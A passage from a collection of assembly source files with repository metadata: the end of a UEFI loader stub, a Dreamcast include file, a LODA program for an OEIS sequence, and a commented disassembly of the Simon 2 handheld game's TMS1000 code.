mov [byte rax+0x00], r8 ; save "ImageHandle" mov [byte rax+0x08], r9 ; save "SystemTablePointer" mov [byte rax+0x10], rbx ; save "ObjectFile" mov rcx, r8 ; rcx = "ImageHandle" mov rdx, r9 ; rdx = "SystemTablePointer" mov r8, rbx ; r8 = "ObjectFile" lea rax, [rel exit_to_firmware] ; rax = return address push 0 ; "sub rsp, 8" (shadow space) push r8 ; "sub rsp, 8" (shadow space) push rdx ; "sub rsp, 8" (shadow space) push rcx ; "sub rsp, 8" (shadow space) push rax ; return address (exit_to_firmware) cmp ebp, strict dword 0 ; test start address je short .go push rbp ; return address (start) .go: xor eax, eax ; rax = 0 xor ebx, ebx ; rbx = 0 xor ebp, ebp ; rbp = 0 xor esi, esi ; rsi = 0 xor edi, edi ; rdi = 0 xor r9, r9 ; r9 = 0 xor r10, r10 ; r10 = 0 xor r11, r11 ; r11 = 0 xor r12, r12 ; r12 = 0 xor r13, r13 ; r13 = 0 xor r14, r14 ; r14 = 0 xor r15, r15 ; r15 = 0 ret exit_to_firmware: lea rbx, [rel (uefi_object_file+0xC0)] mov rcx, [rbx+0x10] ; rcx = "ObjectFile" mov edx, PAGES_TO_ALLOCATE ; edx = "Pages" mov rax, [rbx+0x08] ; rax = "SystemTablePointer" mov rax, [rax+EFI_BootServices] ; rax = "BootServices" call [rax+EFI_FreePages] ; call UEFI function test rax, rax ; test zero jnz short .halt mov rcx, [rbx] ; rcx = "ImageHandle" xor rdx, rdx ; rdx = "ExitStatus" xor r8, r8 ; r8 = "ExitDataSize" xor r9, r9 ; r9 = "ExitData" mov rax, [rbx+0x08] ; rax = "SystemTablePointer" mov rax, [rax+EFI_BootServices] ; rax = "BootServices" call [rax+EFI_Exit] ; call UEFI function .halt: hlt ; halt jmp near .halt relocation_entry: push rbx ; save register rbx push rsi ; save register rsi xor eax, eax ; eax = 0 xor ecx, ecx ; ecx = 0 lea rbx, [rsp+24] ; rbx = address of structure ; [rbx+0x00] = "counter" ; [rbx+0x04] = "section data" ; [rbx+0x08] = "relocation entry" ; [rbx+0x0C] = "symbol table" mov al, 18 ; eax = symbol size mov esi, [rbx+8] ; esi = relocation entry or cx, [rsi+8] ; ecx = type jz short .end ; ignore zero type mov edi, [rsi+4] ; edi = symbol table index mul edi ; eax = symbol table offset mov edi, [rsi+0] ; edi = target offset add edi, [rbx+4] ; edi = target address mov esi, [rbx+12] ; esi = symbol table base lea esi, [rsi+rax] ; esi = symbol table entry mov eax, [rsi+8] ; eax = symbol value .t1: cmp ecx, 2 ; test types 1 and 2 je short .t2 ja short .t3 db 0x48 ; type 1 is "add [rdi], rax" .t2: add [byte rdi], eax ; relocate jmp short .end .t3: cmp ecx, 3 ; test type 3 jne short .t4 sub eax, [rbx+4] ; subtract section base add [rdi], eax ; relocate jmp short .end .t4: cmp ecx, 9 ; test types 4-9 ja short .dbg lea edx, [rdi+rcx] ; edx = target + distance sub eax, edx ; eax = "relative" add [rdi], eax ; relocate jmp short .end .dbg: mov ebx, [rbx+8] ; ebx = relocation entry mov eax, [rbx+0] ; eax = target offset mov edx, [rbx+4] ; edx = index xor ebx, ebx ; ebx = 0 .halt: hlt ; halt jmp short .halt ; should not happen .end: pop rsi ; restore register rsi pop rbx ; restore register rbx ret align 128, db 0 alloc_error: dw __utf16__('AllocatePages: out of resources'), 13, 10, 0 times 0x2000 - ($ - $$) db 0 uefi_object_file: dd patch1 ; offset of "size of initialized data" dd patch2 ; offset of "size of image" dd patch3 ; offset of "virtual size (data)" dd patch4 ; offset of "size of raw data (data)" times 0x2020 - ($ - $$) db 0

47.38964

78

0.466375

973a35728b37e031e197c8c116cc7fa6e0410cf0

440

asm

Assembly

other/md/wrapper.asm

CaptainDreamcast/prism

a6b0f5c3e86d7b37d14c9139862775e7768998ce

[ "MIT" ]

7

2018-04-08T15:01:59.000Z

2022-02-27T12:13:19.000Z

other/md/wrapper.asm

CaptainDreamcast/prism

a6b0f5c3e86d7b37d14c9139862775e7768998ce

[ "MIT" ]

1

2017-04-23T15:27:37.000Z

2017-04-24T05:38:18.000Z

other/md/wrapper.asm

CaptainDreamcast/libtari

a6b0f5c3e86d7b37d14c9139862775e7768998ce

[ "MIT" ]

1

2020-04-24T04:21:00.000Z

; Include this for all prism functionality ; Expects a Dreamcast development directory layout ; TODO: Make dynamic with scripts(?) Maybe copy to local and change it there? What's the proper way to do this? include '../addons/prism/other/md/init.asm' include '../addons/prism/other/md/draw.asm' include '../addons/prism/other/md/input.asm' include '../addons/prism/other/md/data.asm' include '../addons/prism/other/md/logic.asm'

40

112

0.734091

e04cd5cb92f9a73f6d964d8ff0549b5226a0d41a

1,412

asm

Assembly

programs/oeis/016/A016997.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/016/A016997.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/016/A016997.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A016997: a(n) = (7*n + 1)^5. ; 1,32768,759375,5153632,20511149,60466176,147008443,312500000,601692057,1073741824,1804229351,2887174368,4437053125,6590815232,9509900499,13382255776,18424351793,24883200000,33038369407,43204003424,55730836701,71008211968,89466096875,111577100832,137858491849,168874213376,205236901143,247609900000,296709280757,353305857024,418227202051,492359665568,576650390625,672109330432,779811265199,900897818976,1036579476493,1188137600000,1356926446107,1544375182624,1751989905401,1981355655168,2234138434375,2512087224032,2817036000549,3150905752576,3515706497843,3913539300000,4346598285457,4817172660224,5327648726751,5880511900768,6478348728125,7123848901632,7819807277899,8569125894176,9374815985193,10240000000000,11167913618807,12161907769824,13225450646101,14362129722368,15575653771875,16869854883232,18248690477249,19716245323776,21276733558543,22934500700000,24694025666157,26559922791424,28536943843451,30629980039968,32844064065625,35184372088832,37656225778599,40265094321376,43016596437893,45916502400000,48970736047507,52185376805024,55566661698801,59120987373568,62854912109375,66775157838432,70888612161949,75202330366976,79723537443243,84459630100000,89418178782857,94606929690624,100033806792151,105706913843168,111634536403125,117825143852032,124287391407299,131030122140576,138062368994593,145393356800000,153032504292207,160989426128224 mul $0,7 add $0,1 pow $0,5

201.714286

1,352

0.905807

0c164c1071b82a5c56498be0a8a6ca753e8fde3f

64,319

asm

Assembly

Disassembly/revenge.asm

paulscottrobson/Simon2Simon

4be0f73947cce424d3a029a915fb7a4b9ef0c4bf

[ "MIT" ]

2

2020-07-09T23:33:24.000Z

2022-02-05T04:11:06.000Z

Disassembly/revenge.asm

paulscottrobson/Simon2Simon

4be0f73947cce424d3a029a915fb7a4b9ef0c4bf

[ "MIT" ]

null

Disassembly/revenge.asm

paulscottrobson/Simon2Simon

4be0f73947cce424d3a029a915fb7a4b9ef0c4bf

[ "MIT" ]

2

2017-04-21T22:42:26.000Z

2021-02-19T02:40:25.000Z

; ******************************************************* page 0 .L000 xcall L1ea ; $000: $1e $ea // tcy 3 ; $003: $4c // Set R3 to logic 1. setr ; $007: $0d // xbr L340 ; $00f: $1b $80 // .L03f tcy 8 ; $03f: $41 // Read 3:8 tma ; $03e: $21 // alec 0 ; $03d: $70 // br L000 ; $03b: $80 // If 0 reset xcall CalculateLogApprox ; $037: $17 $c2 // tcy 8 ; $01e: $41 // tma ; $03c: $21 // alec 3 ; $039: $7c // br L000 ; $033: $80 // alec 4 ; $027: $72 // br CheckWhichGame ; $00e: $ac // alec 5 ; $01d: $7a // br L012 ; $03a: $92 // alec 6 ; $035: $76 // br L008 ; $02b: $88 // br L000 ; $016: $80 // ; *********************************************************************************** ; ; Check which game is selected. ; ; *********************************************************************************** .CheckWhichGame tcy 3 ; $02c: $4c // R3 is marked N/C ??? rstr ; $018: $0c // tcy 0 ; $030: $40 // Access the Game Switches (28) setr ; $021: $0d // tka ; $002: $08 // Read the game switch state. rstr ; $005: $0c // tcy 10 ; $00b: $45 // alec 1 ; $017: $78 // if K1 is selected select game 1 br Game1Selected ; $02e: $8d // alec 3 ; $01c: $7c // if K2 is selected select game 2 br Game2Selected ; $038: $b6 // alec 7 ; $031: $7e // if K4 is selected select game 3 br Game3Selected ; $023: $9a // br SelectedUnknown ; $006: $a9 // No idea which is selected. ; ; Store game selected in [3:10] as 1,2 or 5. ; .Game1Selected tcmiy 1 ; $00d: $68 // Set to 1 for Game 1 br L022 ; $01b: $a2 // .Game2Selected tcmiy 2 ; $036: $64 // Set to 2 for Game 2 br L022 ; $02d: $a2 // .Game3Selected tcmiy 5 ; $01a: $6a // Set to 5 for Game 3 (?) br L022 ; $034: $a2 // .SelectedUnknown br Game1Selected ; $029: $8d .L012 xbr L3FA ; $012: $1f $ba // .L008 xbr L3d6 ; $008: $1f $96 // ; ; Various setup stuff TBC. ; .L022 tcy 0 ; $022: $40 // tcmiy 0 ; $004: $60 // [3:0] <-0 tcmiy 0 ; $009: $60 // [3:1] <- 0 .L013 tcy 4 ; $013: $42 // tcmiy 0 ; $026: $60 // [3:4] <- 0 tcmiy 0 ; $00c: $60 // [3:5] <- 0 tcy 9 ; $019: $49 // sbit 0 ; $032: $30 // [3:9] set bit 0, clear bit 1. rbit 1 ; $025: $36 // xbr L180 ; $00a: $16 $80 // .L02a xcall WriteToPageSequential ; $02a: $11 $c0 // xbr L012 ; $028: $10 $92 // comx ; $020: $00 // ; ******************************************************* page 1 .L040 xcall PresetTimer2560 ; $040: $1f $c6 // Preset the timer .L043 xcall L1ea ; $043: $1e $ea // Bump this.... xcall DecrementTimer ; $04f: $1f $e4 // Decrement the timer. tcy 9 ; $07f: $49 // tbit1 2 ; $07e: $39 // br L054 ; $07d: $94 // If timed out go here. xbr L340 ; $07b: $1b $80 // .L06f tcy 8 ; $06f: $41 // Read 3:8 tma ; $05e: $21 // alec 0 ; $07c: $70 // If zero br L043 ; $079: $83 // go back to decrementing the timer. xcall CalculateLogApprox ; $073: $17 $c2 // tcy 8 ; $04e: $41 // tma ; $05d: $21 // alec 4 ; $07a: $72 // br L056 ; $075: $96 // br L043 ; $06b: $83 // .L056 alec 3 ; $056: $7c // br L061 ; $06c: $a1 // xbr CheckWhichGame ; $058: $10 $ac // .L061 tcy 9 ; $061: $49 // tbit1 0 ; $042: $38 // br L06e ; $045: $ae // xbr L09c ; $04b: $14 $9c // .L06e tcy 10 ; $06e: $45 // tma ; $05c: $21 // alec 2 ; $078: $74 // br L049 ; $071: $89 // alec 3 ; $063: $7c // br L06d ; $046: $ad // alec 4 ; $04d: $72 // br L064 ; $05b: $a4 // br L049 ; $076: $89 // .L06d tcy 15 ; $06d: $4f // xcall L189 ; $05a: $16 $c9 // alec 0 ; $069: $70 // br L043 ; $052: $83 // .L064 tcy 14 ; $064: $47 // xcall L189 ; $048: $16 $c9 // alec 0 ; $062: $70 // br L043 ; $044: $83 // .L049 xcall ReadBank0 ; $049: $15 $c0 // Read bank 0 into 2:0 tcy 8 ; $066: $41 // Read current, 3:8 tma ; $04c: $21 // ldx 2 ; $059: $3d // Check if its the same as the bank value. tcy 0 ; $072: $40 // saman ; $065: $27 // ldx 3 ; $04a: $3f // Get ready to process. xbr L080 ; $055: $14 $80 // Same .L054 xbr L100 ; $054: $12 $80 // Different. comx ; $050: $00 // comx ; $060: $00 // ; ******************************************************* page 2 .L080 alec 0 ; $080: $70 // br L08f ; $081: $8f // xbr L100 ; $083: $12 $80 // .L08f xbr L1f1 ; $08f: $1e $b1 // .L0bf tcy 0 ; $0bf: $40 // tma ; $0be: $21 // tcy 4 ; $0bd: $42 // saman ; $0bb: $27 // alec 0 ; $0b7: $70 // br L0b9 ; $0af: $b9 // xbr L040 ; $09e: $18 $80 // .L0b9 tcy 1 ; $0b9: $48 // tma ; $0b3: $21 // tcy 5 ; $0a7: $4a // saman ; $08e: $27 // alec 0 ; $09d: $70 // br L096 ; $0ba: $96 // xbr L040 ; $0b5: $18 $80 // .L096 tcy 10 ; $096: $45 // tma ; $0ac: $21 // alec 1 ; $098: $78 // br L085 ; $0b0: $85 // xbr L0c0 ; $0a1: $1c $80 // .L085 tcy 9 ; $085: $49 // rbit 0 ; $08b: $34 // xbr L040 ; $097: $18 $80 // .L09c ldx 2 ; $09c: $3d // tcy 0 ; $0b8: $40 // tam ; $0b1: $03 // xcall WriteToPageSequential ; $0a3: $11 $c0 // xbr L1f1 ; $08d: $1e $b1 // .L0b6 tcy 4 ; $0b6: $42 // tcmiy 0 ; $0ad: $60 // tcmiy 0 ; $09a: $60 // tcy 9 ; $0b4: $49 // tcmiy 1 ; $0a9: $68 // xbr L040 ; $092: $18 $80 // .L088 tcy 9 ; $088: $49 // Set bit 1 of 2:9 sbit 1 ; $091: $32 // ldx 2 ; $0a2: $3d // Point to 2:0 tcy 0 ; $084: $40 // tcmiy 4 ; $089: $62 // Play sound 4 tcmiy 15 ; $093: $6f // Length 15 xcall LightOnAndSetup ; $0a6: $1d $c0 // Set up sound xcall SoundPlay ; $099: $13 $c0 // And do it. xcall L1c0 ; $0a5: $1e $c0 // xbr L3cb ; $095: $1f $8b // .L094 tcy 10 ; $094: $45 // tcmiy 0 ; $0a8: $60 // xbr L215 ; $090: $11 $95 // ; ******************************************************* page 3 .L0c0 xcall PresetTimer2560 ; $0c0: $1f $c6 // Reset the timer .L0c3 xcall DecrementTimer ; $0c3: $1f $e4 // Decrement it xcall PutAPlus4InY ; $0cf: $11 $cc // Waste time tcy 9 ; $0ff: $49 // tbit1 2 ; $0fe: $39 // br L0f7 ; $0fd: $b7 // Exit on time out br L0c3 ; $0fb: $83 // .L0f7 tcy 10 ; $0f7: $45 // Read 3:10 tma ; $0ef: $21 // alec 2 ; $0de: $74 // br GetDifficulty ; $0fc: $ab // tcy 9 ; $0f9: $49 // tbit1 1 ; $0f3: $3a // br L0fa ; $0e7: $ba // .ExitDifficulty xbr L013 ; $0ce: $10 $93 // .L0fa xbr L022 ; $0fa: $10 $a2 // ; *********************************************************************************** ; ; Read the difficulty switch. ; ; *********************************************************************************** .GetDifficulty tcy 9 ; $0eb: $49 // R9 is connected to the difficulty switch, I reckon. setr ; $0d6: $0d // Set the line high tka ; $0ec: $08 // read the difficulty level switches into K1-K8 rstr ; $0d8: $0c // Set line low alec 1 ; $0f0: $78 // If Level 1 leave unchanged br ExitDifficulty ; $0e1: $8e // alec 3 ; $0c2: $7c // Handle Level 2 br Level2Difficulty ; $0c5: $9c // alec 7 ; $0cb: $7e // Handle Level 3 br Level3Difficulty ; $0d7: $b1 // br Level4Difficulty ; $0ee: $86 // Level 4 .Level2Difficulty tcy 4 ; $0dc: $42 // br ProcessDifficulty ; $0f8: $8d // .Level3Difficulty tcy 7 ; $0f1: $4e // br ProcessDifficulty ; $0e3: $8d // .Level4Difficulty tcy 10 ; $0c6: $45 // .ProcessDifficulty tya ; $0cd: $23 // Put Y into A (e.g. the difficulty constant) tcy 1 ; $0db: $48 // access [3:1], position in sequential write. saman ; $0f6: $27 // Subtract difficulty from this value. alec 0 ; $0ed: $70 // br L0e9 ; $0da: $a9 // Set if Y difficulty < [3:1] br ExitDifficulty ; $0f4: $8e // Exit difficulty as is. .L0e9 xbr L094 ; $0e9: $14 $94 // .L0e4 tcy 10 ; $0e4: $45 // tma ; $0c8: $21 // alec 0 ; $0d1: $70 // br L0d9 ; $0e2: $99 // tcy 0 ; $0c4: $40 // tbit1 2 ; $0c9: $39 // br L0e5 ; $0d3: $a5 // xbr L06f ; $0e6: $18 $af // .L0d9 xbr L03f ; $0d9: $10 $bf // .L0e5 rbit 2 ; $0e5: $35 // xbr L1d1 ; $0ca: $1e $91 // dyn ; $0ea: $2c // comx ; $0d4: $00 // comx ; $0e8: $00 // comx ; $0d0: $00 // comx ; $0e0: $00 // ; ******************************************************* page 4 .L100 tcy 10 ; $100: $45 // dman ; $101: $2a // tam ; $103: $03 // tcy 9 ; $107: $49 // tbit1 2 ; $10f: $39 // br L13b ; $11f: $bb // tcy 8 ; $13f: $41 // tma ; $13e: $21 // br L11d ; $13d: $9d // .L13b tbit1 0 ; $13b: $38 // br L11e ; $137: $9e // br L12c ; $12f: $ac // .L11e xcall ReadBank0 ; $11e: $15 $c0 // Read bank into 2:0 ldx 2 ; $139: $3d // Read that value in. tcy 0 ; $133: $40 // tma ; $127: $21 // ldx 3 ; $10e: $3f // Point back to 3 .L11d tcy 14 ; $11d: $47 // Write that value to 3:14 tam ; $13a: $03 // xcall PutAPlus4InY ; $135: $11 $cc // setr ; $116: $0d // .L12c xbr L088 ; $12c: $14 $88 // .L130 tcy 14 ; $130: $47 // tma ; $121: $21 // xcall PutAPlus4InY ; $102: $11 $cc // rstr ; $10b: $0c // tcy 14 ; $117: $47 // tma ; $12e: $21 // tcy 10 ; $11c: $45 // Read game into Y tmy ; $138: $22 // ldx 2 ; $131: $3d // ynec 4 ; $123: $52 // br L136 ; $106: $b6 // tcy 14 ; $10d: $47 // br L134 ; $11b: $b4 // .L136 ynec 3 ; $136: $5c // br L108 ; $12d: $88 // tcy 15 ; $11a: $4f // .L134 tam ; $134: $03 // ldx 3 ; $129: $3f // xbr L0c0 ; $112: $1c $80 // .L108 ynec 2 ; $108: $54 // br L10a ; $111: $8a // tcy 13 ; $122: $4b // tam ; $104: $03 // ldx 3 ; $109: $3f // tcy 10 ; $113: $45 // tcmiy 0 ; $126: $60 // tcy 12 ; $10c: $43 // tcmiy 0 ; $119: $60 // xbr L180 ; $132: $16 $80 // .L10a ldx 3 ; $10a: $3f // tcy 10 ; $115: $45 // tcmiy 0 ; $12a: $60 // xbr L000 ; $114: $10 $80 // tdo ; $110: $0a // comx ; $120: $00 // ; ******************************************************* page 5 .L140 ldx 3 ; $140: $3f // Read current game into A tcy 10 ; $141: $45 // tma ; $143: $21 // alec 1 ; $147: $78 // Game 1 br Game1Code ; $14f: $b1 // alec 2 ; $15f: $74 // br Game2Code ; $17f: $bb // Game 2 alec 4 ; $17e: $72 // br Game3Code ; $17d: $b9 // Game 3 ? (5) .Game2Code tcy 1 ; $17b: $48 // Copy 3:1 to 3:11 tma ; $177: $21 // tcy 11 ; $16f: $4d // tam ; $15e: $03 // br L175 ; $17c: $b5 // .Game3Code tcy 1 ; $179: $48 // Copy 3:1 to 3:11 if 3:1 <= 3:11 tma ; $173: $21 // tcy 11 ; $167: $4d // alem ; $14e: $29 // br L175 ; $15d: $b5 // tam ; $17a: $03 // .L175 tma ; $175: $21 // ldx 2 ; $16b: $3d // tcy 1 ; $156: $48 // alec 0 ; $16c: $70 // br L15c ; $158: $9c // alec 2 ; $170: $74 // br Game1Code ; $161: $b1 // alec 4 ; $142: $72 // br L15b ; $145: $9b // alec 6 ; $14b: $76 // br L16d ; $157: $ad // br L174 ; $16e: $b4 // .L15c tcmiy 7 ; $15c: $6e // br L169 ; $178: $a9 // .Game1Code ldx 2 ; $171: $3d // tcy 1 ; $163: $48 // tcmiy 5 ; $146: $6a // br L169 ; $14d: $a9 // .L15b tcmiy 4 ; $15b: $62 // br L169 ; $176: $a9 // .L16d tcmiy 3 ; $16d: $6c // br L169 ; $15a: $a9 // .L174 tcmiy 2 ; $174: $64 // .L169 retn ; $169: $0f // ; *********************************************************************************** ; ; Game over code. Plays notes 8-0 in order alternating with the note in 3:8 ; ; *********************************************************************************** .GameOverCode tcy 4 ; $152: $42 // Set 3:4 to 8 tcmiy 8 ; $164: $61 // .GameOverPlayCorrectNext tcy 4 ; $148: $42 // Read 3:4 dman ; $151: $2a // Decrement it. br PlayingEndNoise ; $162: $89 // Keep going until it is zero. br GoToRestart ; $144: $a8 // Finished playing the sequence, restart. .PlayingEndNoise tam ; $149: $03 // Store back in 3:4 ldx 2 ; $153: $3d // Play sound 5 for length 1 (End game) tcy 0 ; $166: $40 // tcmiy 5 ; $14c: $6a // tcmiy 1 ; $159: $68 // xcall LightOnAndSetup ; $172: $1d $c0 // Play that sound xcall SoundPlay ; $14a: $13 $c0 // xbr GameOverPlayCorrect ; $16a: $11 $b6 // Plays [3:8] with lights. .GoToRestart xbr L000 ; $168: $10 $80 // ynea ; $160: $02 // ; ******************************************************* page 6 .L180 tcy 8 ; $180: $41 // Zero 3:8 tcmiy 0 ; $181: $60 // tcy 12 ; $183: $43 // tma ; $187: $21 // tcy 14 ; $18f: $47 // tam ; $19f: $03 // rbit 2 ; $1bf: $35 // rbit 3 ; $1be: $37 // .L1bd tcy 10 ; $1bd: $45 // Read current game into A tma ; $1bb: $21 // alec 0 ; $1b7: $70 // br L1ba ; $1af: $ba // alec 2 ; $19e: $74 // br L1ae ; $1bc: $ae // alec 3 ; $1b9: $7c // br L1ac ; $1b3: $ac // alec 4 ; $1a7: $72 // br L182 ; $18e: $82 // br L1ae ; $19d: $ae // .L1ba tcy 13 ; $1ba: $4b // call L189 ; $1b5: $c9 // alec 0 ; $1ab: $70 // br L1a5 ; $196: $a5 // .L1ac tcy 15 ; $1ac: $4f // call L189 ; $198: $c9 // alec 0 ; $1b0: $70 // br L1a5 ; $1a1: $a5 // .L182 tcy 14 ; $182: $47 // call L189 ; $185: $c9 // alec 0 ; $18b: $70 // br L1a5 ; $197: $a5 // .L1ae tcy 14 ; $1ae: $47 // dman ; $19c: $2a // br L1a3 ; $1b8: $a3 // br L1b4 ; $1b1: $b4 // .L1a3 tam ; $1a3: $03 // tcy 8 ; $186: $41 // imac ; $18d: $28 // tam ; $19b: $03 // rbit 2 ; $1b6: $35 // rbit 3 ; $1ad: $37 // br L1bd ; $19a: $bd // .L1b4 tcy 10 ; $1b4: $45 // Read current game into A tma ; $1a9: $21 // alec 0 ; $192: $70 // Is it =0 br GameOver310Zero ; $1a4: $a2 // xbr L266 ; $188: $19 $a6 // .GameOver310Zero xbr GameOverCode ; $1a2: $1a $92 // .L189 ldx 2 ; $189: $3d // Read 2,Y tma ; $193: $21 // ldx 3 ; $1a6: $3f // Compare against 3,8 tcy 8 ; $18c: $41 // saman ; $199: $27 // retn ; $1b2: $0f // .L1a5 imac ; $1a5: $28 // tam ; $18a: $03 // rbit 2 ; $195: $35 // rbit 3 ; $1aa: $37 // br L1bd ; $194: $bd // comx ; $1a8: $00 // comx ; $190: $00 // comx ; $1a0: $00 // ; ******************************************************* page 7 .L1c0 tcy 1 ; $1c0: $48 // Read 3:1 tma ; $1c1: $21 // tcy 3 ; $1c3: $4c // Calc 3:3-3:1 saman ; $1c7: $27 // alec 0 ; $1cf: $70 // Check if 3:3 == 3:1 br L1ef ; $1df: $af // tma ; $1ff: $21 // tcy 1 ; $1fe: $48 // alem ; $1fd: $29 // br L1e7 ; $1fb: $a7 // br ReturnX3v2 ; $1f7: $9c // .L1ef tcy 0 ; $1ef: $40 // Read 3:0 tma ; $1de: $21 // tcy 2 ; $1fc: $44 // alem ; $1f9: $29 // br ReturnX3v2 ; $1f3: $9c // .L1e7 tcy 0 ; $1e7: $40 // tma ; $1ce: $21 // tcy 2 ; $1dd: $44 // tam ; $1fa: $03 // tcy 1 ; $1f5: $48 // tma ; $1eb: $21 // tcy 3 ; $1d6: $4c // tam ; $1ec: $03 // tcy 0 ; $1d8: $40 // Now copy Page 0 to Page 1. .CopyPage0Page1Loop ldx 0 ; $1f0: $3c // Read 0:Y tma ; $1e1: $21 // ldx 1 ; $1c2: $3e // Put in 1:Y tam ; $1c5: $03 // iyc ; $1cb: $2b // Increment Y br ReturnX3v2 ; $1d7: $9c // Complete then exit. br CopyPage0Page1Loop ; $1ee: $b0 // .ReturnX3v2 ldx 3 ; $1dc: $3f // retn ; $1f8: $0f // .L1f1 tcy 1 ; $1f1: $48 // Set length 2:1 to 1 ldx 2 ; $1e3: $3d // tcmiy 1 ; $1c6: $68 // xcall LightOnAndSetup ; $1cd: $1d $c0 // Player light and sound. xcall SoundPlay ; $1f6: $13 $c0 // xcall LightCurrentOff ; $1da: $1f $f7 // tcy 0 ; $1e9: $40 // sbit 2 ; $1d2: $31 // xbr L340 ; $1e4: $1b $80 // .L1d1 tcy 13 ; $1d1: $4b // tma ; $1e2: $21 // alec 0 ; $1c4: $70 // br L1e6 ; $1c9: $a6 // br L1f1 ; $1d3: $b1 // .L1e6 tcy 9 ; $1e6: $49 // tbit1 0 ; $1cc: $38 // br L1ca ; $1d9: $8a // xbr L0b6 ; $1f2: $14 $b6 // .L1ca xbr L0bf ; $1ca: $14 $bf // .L1ea tcy 12 ; $1ea: $43 // imac ; $1d4: $28 // tam ; $1e8: $03 // retn ; $1d0: $0f // comx ; $1e0: $00 // ; *********************************************************************************** ; ; Sequential Write to Page 0 ; ; 3:0 bit 0 = 0 (upper bits) 1 (lower bits) ; 3:1 page address ; 3:8 (value 0-3) ; ; *********************************************************************************** page 8 .WriteToPageSequential ldx 3 ; $200: $3f // 3:0 bit 0 is LSB tcy 0 ; $201: $40 // tbit1 0 ; $203: $38 // br WriteToLowerBits ; $207: $a1 // if set go to LSB = 1 code. tcy 8 ; $20f: $41 // Read 3:8 , the page offset into A tma ; $21f: $21 // tcy 0 ; $23f: $40 // Set 3:0 to 1. tcmiy 1 ; $23e: $68 // tmy ; $23d: $22 // Read 3:1 ldx 0 ; $23b: $3c // Point to page alec 0 ; $237: $70 // Write 0,4,8,12 depending on A being 0,1,2,3 br Write0ToPage0 ; $22f: $8e // alec 1 ; $21e: $78 // br Write4ToPage0 ; $23c: $ba // alec 2 ; $239: $74 // br Write8ToPage0 ; $233: $ab // br Write12ToPage0 ; $227: $ac // Note these blank the upper pages. .Write0ToPage0 tcmiy 0 ; $20e: $60 // br ReturnWithX3 ; $21d: $98 // .Write4ToPage0 tcmiy 4 ; $23a: $62 // br ReturnWithX3 ; $235: $98 // .Write8ToPage0 tcmiy 8 ; $22b: $61 // br ReturnWithX3 ; $216: $98 // .Write12ToPage0 tcmiy 12 ; $22c: $63 // .ReturnWithX3 ldx 3 ; $218: $3f // br Return ; $230: $9b // .WriteToLowerBits tcy 8 ; $221: $41 // Read 3:8 into A, the data. tma ; $202: $21 // tcy 0 ; $205: $40 // Clear 3:0 tcmiy 0 ; $20b: $60 // tmy ; $217: $22 // Read 3:1 the address to write ldx 0 ; $22e: $3c // amaac ; $21c: $25 // Add value from 3:8 to 0:address tam ; $238: $03 // Write it back ldx 3 ; $231: $3f // Go back to the pointer at 3:1 tcy 1 ; $223: $48 // imac ; $206: $28 // Increment it and write it back. tam ; $20d: $03 // .Return retn ; $21b: $0f ; ; Play note at 3:8 (current) and then go back. ; .GameOverPlayCorrect tcy 8 ; $236: $41 // Read 3:8 tma ; $22d: $21 // ldx 2 ; $21a: $3d // Store it in 2:0 (current sound) tcy 0 ; $234: $40 // tamiy ; $229: $20 // tcmiy 1 ; $212: $68 // Set length to 1. xcall LightOnAndSetup ; $224: $1d $c0 // xcall SoundPlay ; $211: $13 $c0 // xcall LightCurrentOff ; $204: $1f $f7 // xbr GameOverPlayCorrectNext ; $213: $1a $88 // ; ; Add 4 to A, put in Y. ; .PutAPlus4InY a6aac ; $20c: $06 // Add 6 to A dan ; $219: $07 // Subtract 1 dan ; $232: $07 // Subtract 1 tay ; $225: $24 // Put in Y retn ; $20a: $0f // ; ; Part of the end game routine. ; .L215 xcall L1c0 ; $215: $1e $c0 // ldx 2 ; $214: $3d // xbr L295 ; $228: $15 $95 // comx ; $220: $00 // ; ******************************************************* page 9 .L240 tcy 4 ; $240: $42 // Read 3:4 to A tma ; $241: $21 // tcy 8 ; $243: $41 // Read 3:8 to Y tmy ; $247: $22 // saman ; $24f: $27 // Does 3:4 match Page3[3:8] alec 0 ; $25f: $70 // br L27d ; $27f: $bd // br L279 ; $27e: $b9 // .L27d iyc ; $27d: $2b // tma ; $27b: $21 // tcy 5 ; $277: $4a // saman ; $26f: $27 // alec 0 ; $25e: $70 // br L25a ; $27c: $9a // .L279 ldx 2 ; $279: $3d // tcy 0 ; $273: $40 // tcmiy 5 ; $267: $6a // xcall L140 ; $24e: $1a $c0 // xcall LightOnAndSetup ; $27a: $1d $c0 // xcall SoundPlay ; $26b: $13 $c0 // tcy 8 ; $26c: $41 // tma ; $258: $21 // alec 0 ; $270: $70 // br L257 ; $261: $97 // xcall ReadBank1 ; $242: $15 $e3 // br L25c ; $24b: $9c // .L257 xcall ReadBank0 ; $257: $15 $c0 // .L25c xcall L140 ; $25c: $1a $c0 // xcall LightOnAndSetup ; $271: $1d $c0 // xcall SoundPlay ; $246: $13 $c0 // xcall LightCurrentOff ; $25b: $1f $f7 // br L240 ; $26d: $80 // .L25a tcy 4 ; $25a: $42 // tcmiy 0 ; $274: $60 // tcmiy 0 ; $269: $60 // tcy 10 ; $252: $45 // tma ; $264: $21 // alec 0 ; $248: $70 // br L249 ; $251: $89 // xbr L040 ; $262: $18 $80 // .L249 xbr L000 ; $249: $10 $80 // .L266 tcy 0 ; $266: $40 // setr ; $24c: $0d // tka ; $259: $08 // rstr ; $272: $0c // alec 7 ; $265: $7e // br L254 ; $24a: $94 // tcy 8 ; $255: $41 // tcmiy 0 ; $26a: $60 // .L254 xbr L02a ; $254: $10 $aa // tamza ; $250: $04 // ia ; $260: $0e // ; *********************************************************************************** ; ; 2 Bit Read Bank 0 at position 3:5/3:4 (LSB only) store in 2:0 ; ; *********************************************************************************** page 10 .ReadBank0 tcy 4 ; $280: $42 // Look at 3:4 (bit 0 is LSB of 5 bit sequence) tbit1 0 ; $281: $38 // If bit 0 set br AccessLowerBits ; $283: $a7 // Look at bits 0 and 1 tcmiy 1 ; $287: $68 // Set bit 0 next time around. tmy ; $28f: $22 // Read 3:5 in which is bits 4,3,2,1 of 5 bit sequence ldx 0 ; $29f: $3c // Look at page 0 where the data is. 